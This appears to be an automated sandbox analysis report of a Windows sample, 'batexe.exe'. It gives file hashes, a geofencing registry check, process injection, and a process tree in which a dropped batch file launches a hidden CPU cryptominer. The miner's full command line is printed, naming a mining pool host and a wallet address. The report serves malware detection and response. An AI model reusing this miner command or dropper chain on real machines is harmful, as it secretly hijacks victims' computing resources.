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Analysis
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max time kernel
298s -
max time network
299s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
13/02/2024, 23:25
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231220-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 4936 b2e.exe 3912 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3912 cpuminer-sse2.exe 3912 cpuminer-sse2.exe 3912 cpuminer-sse2.exe 3912 cpuminer-sse2.exe 3912 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/2748-7-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2748 wrote to memory of 4936 2748 batexe.exe 85 PID 2748 wrote to memory of 4936 2748 batexe.exe 85 PID 2748 wrote to memory of 4936 2748 batexe.exe 85 PID 4936 wrote to memory of 3024 4936 b2e.exe 86 PID 4936 wrote to memory of 3024 4936 b2e.exe 86 PID 4936 wrote to memory of 3024 4936 b2e.exe 86 PID 3024 wrote to memory of 3912 3024 cmd.exe 89 PID 3024 wrote to memory of 3912 3024 cmd.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Users\Admin\AppData\Local\Temp\6A43.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\6A43.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6A43.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3912
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
23.8MB
MD5b91c4b9227a614abf9b0b4a35837eec8
SHA1038fd6b65591e7203f0db82058ce19a9c714a74a
SHA256342e98de893719ccd55611462660a3a3964214fcc92e4c7db7910780aa83ec2b
SHA512766f227f49b11caf468445b248adcc0f0f19a641515e305c84075ce21d5d1ca8c75a09ff3a8c6792a558b2bd3cd27437bf03a865f330e8ce4fd3bfe560efaeaa
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Filesize
2.7MB
MD58bf8f5c9d34334938bf32fc15bc9404d
SHA1fc6b04c193ad23f74ea2a395d67fabfd9ac4aeae
SHA256176555a7e230054dfb5acb067e8b9306657c5c574f903e67fec1ffe8ecd0a372
SHA51247658beffb531e00acbd6e1949d549fc8a936f8af46020fb94f6664bac9d153137fdbd2a9b8fb0a5747a06810949cada5de0a014bfcb1928819904c906293dce
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Filesize
2.9MB
MD59317cafb85becd9011ca213e7be3a2bc
SHA11c84c389734da0532809700191b96dc61527e382
SHA256644eb7fd5f540a11f942d00b2233e715a40b8548294924fc054db1e08b293090
SHA51265120a9f1410f4b9350788c5898557be3d3b195f03b3425895748764fc052048f38998bb455cef4f25f748c696821a9a4622c8f09f6ae4603dcd6882be451684
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
1.1MB
MD5d6a2651ce86560ec77259efc3df246fa
SHA11e72d8e5049a66e1f257d00847fae193c2f8bb02
SHA2561703f2c16ca81fd8d53d899d0c191db61af986281cdaf3939e9aafcb2aa377a6
SHA512eece650394d481935c42793702efa7220ae51d92e50dde346b62026d1946418011f665dabe217b6e775b79d65b7580652299a816961a23880abff400ee14201b
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Filesize
1.2MB
MD5b465230cf79fcd815a31dad053d1dbe1
SHA1f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace
SHA256cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865
SHA512b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD58339dd854ac8acbd755c7be45d3534c0
SHA1c3450b51184637d82c27987117ed85c49f1ef097
SHA2568e848628061dd11dcc386118b70c602aa51458bf1ce865c84752af7d8bd6e61d
SHA512620f53d149dc4a1a240fce6c3baafad84d3a132b28493560a3e090911623b4c63294b0dc389f0eaede7d7007c55fab69b2d4a4f8691d0fa2de8312ee828e38a1
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
960KB
MD5f3707fd5b389e53285dfb3815a4785b8
SHA1788b2ac7be4acb28e804021893e11cdd44ee0784
SHA256f7ef0e3e60989fac5636e6e5a018b730b403b75889125b56c4d07d6279e94c94
SHA512f11d8577758db08f597987f525b4fc4c8c3f5181255f89281300968dc90fe4b298c322e3f531f768cd5014d116bb7161365c9d3fbaa76ab835405d8a1e231f26
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770